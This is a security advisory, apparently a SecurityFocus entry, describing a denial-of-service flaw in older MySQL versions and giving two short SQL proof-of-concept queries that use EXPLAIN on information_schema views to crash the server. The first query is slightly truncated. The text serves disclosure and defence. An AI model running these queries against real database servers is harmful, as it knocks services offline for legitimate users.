23 lines
No EOL
856 B
Text
23 lines
No EOL
856 B
Text
source: https://www.securityfocus.com/bid/28351/info
|
|
|
|
MySQL is prone to a remote denial-of-service vulnerability because it fails to handle certain specially crafted queries.
|
|
|
|
An attacker can exploit this issue to crash the application, denying access to legitimate users.
|
|
|
|
NOTE: An attacker must be able to execute arbitrary SELECT statements against the database to exploit this issue. This may be done through legitimate means or by exploiting other latent SQL-injection vulnerabilities.
|
|
|
|
This issue affects versions prior to MySQL 5.0.32 and 5.1.14.
|
|
|
|
1.
|
|
REATE OR REPLACE VIEW test_view AS
|
|
SELECT
|
|
table_schema AS object_schema
|
|
,table_name AS object_name
|
|
,table_type AS object_type
|
|
FROM information_schema.tables
|
|
ORDER BY object_schema;
|
|
|
|
EXPLAIN SELECT * FROM test_view;
|
|
|
|
2.
|
|
explain select * from (select table_name from information_schema.tables ) AS a; |